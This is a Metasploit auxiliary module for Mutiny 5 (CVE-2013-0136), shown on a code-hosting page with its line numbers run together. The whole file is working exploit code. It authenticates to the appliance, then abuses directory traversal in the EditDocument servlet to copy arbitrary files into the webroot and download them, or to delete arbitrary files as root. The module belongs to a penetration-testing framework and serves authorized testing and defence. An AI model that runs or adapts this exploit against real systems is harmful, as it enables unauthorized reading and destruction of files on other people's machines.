Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Mutiny 5 Arbitrary File Read and Delete',13'Description' => %q{14This module exploits the EditDocument servlet from the frontend on the Mutiny 515appliance. The EditDocument servlet provides file operations, such as copy and16delete, which are affected by a directory traversal vulnerability. Because of this,17any authenticated frontend user can read and delete arbitrary files from the system18with root privileges. In order to exploit the vulnerability a valid user (any role)19in the web frontend is required. The module has been tested successfully on the20Mutiny 5.0-1.07 appliance.21},22'Author' => [23'juan vazquez' # Metasploit module and initial discovery24],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2013-0136' ],28[ 'US-CERT-VU', '701572' ],29[ 'URL', 'https://www.rapid7.com/blog/post/2013/05/15/new-1day-exploits-mutiny-vulnerabilities/' ]30],31'Actions' => [32['Read', { 'Description' => 'Read arbitrary file' }],33['Delete', { 'Description' => 'Delete arbitrary file' }]34],35'DefaultAction' => 'Read',36'DisclosureDate' => '2013-05-15'37)38)3940register_options(41[42Opt::RPORT(80),43OptString.new('TARGETURI', [true, 'Path to Mutiny Web Service', '/']),44OptString.new('USERNAME', [ true, 'The user to authenticate as', '[email protected]' ]),45OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ]),46OptString.new('PATH', [ true, 'The file to read or delete' ]),47]48)49end5051def run52print_status('Trying to login')53if login54print_good('Login Successful')55else56print_error('Login failed, review USERNAME and PASSWORD options')57return58end5960case action.name61when 'Read'62read_file(datastore['PATH'])63when 'Delete'64delete_file(datastore['PATH'])65end66end6768def read_file(file)69print_status('Copying file to Web location...')7071dst_path = '/usr/jakarta/tomcat/webapps/ROOT/m/'72res = send_request_cgi(73{74'uri' => normalize_uri(target_uri.path, 'interface', 'EditDocument'),75'method' => 'POST',76'cookie' => "JSESSIONID=#{@session}",77'encode_params' => false,78'vars_post' => {79'operation' => 'COPY',80'paths[]' => "../../../../#{file}%00.txt",81'newPath' => "../../../..#{dst_path}"82}83}84)8586if res && (res.code == 200) && res.body =~ (/\{"success":true\}/)87print_good("File #{file} copied to #{dst_path} successfully")88else89print_error("Failed to copy #{file} to #{dst_path}")90end9192print_status('Retrieving file contents...')9394res = send_request_cgi(95{96'uri' => normalize_uri(target_uri.path, 'm', ::File.basename(file)),97'method' => 'GET'98}99)100101if res && (res.code == 200)102store_path = store_loot('mutiny.frontend.data', 'application/octet-stream', rhost, res.body, file)103print_good("File successfully retrieved and saved on #{store_path}")104else105print_error('Failed to retrieve file')106end107108# Cleanup109delete_file("#{dst_path}#{::File.basename(file)}")110end111112def delete_file(file)113print_status("Deleting file #{file}")114115res = send_request_cgi(116{117'uri' => normalize_uri(target_uri.path, 'interface', 'EditDocument'),118'method' => 'POST',119'cookie' => "JSESSIONID=#{@session}",120'vars_post' => {121'operation' => 'DELETE',122'paths[]' => "../../../../#{file}"123}124}125)126127if res && (res.code == 200) && res.body =~ (/\{"success":true\}/)128print_good("File #{file} deleted")129else130print_error("Error deleting file #{file}")131end132end133134def login135res = send_request_cgi(136{137'uri' => normalize_uri(target_uri.path, 'interface', 'index.do'),138'method' => 'GET'139}140)141142if res && (res.code == 200) && res.get_cookies =~ (/JSESSIONID=(.*);/)143first_session = ::Regexp.last_match(1)144end145146res = send_request_cgi(147{148'uri' => normalize_uri(target_uri.path, 'interface', 'j_security_check'),149'method' => 'POST',150'cookie' => "JSESSIONID=#{first_session}",151'vars_post' => {152'j_username' => datastore['USERNAME'],153'j_password' => datastore['PASSWORD']154}155}156)157158if !res || (res.code != 302) || res.headers['Location'] !~ (%r{interface/index.do})159return false160end161162res = send_request_cgi(163{164'uri' => normalize_uri(target_uri.path, 'interface', 'index.do'),165'method' => 'GET',166'cookie' => "JSESSIONID=#{first_session}"167}168)169170if res && (res.code == 200) && res.get_cookies =~ (/JSESSIONID=(.*);/)171@session = ::Regexp.last_match(1)172return true173end174175return false176end177end178179180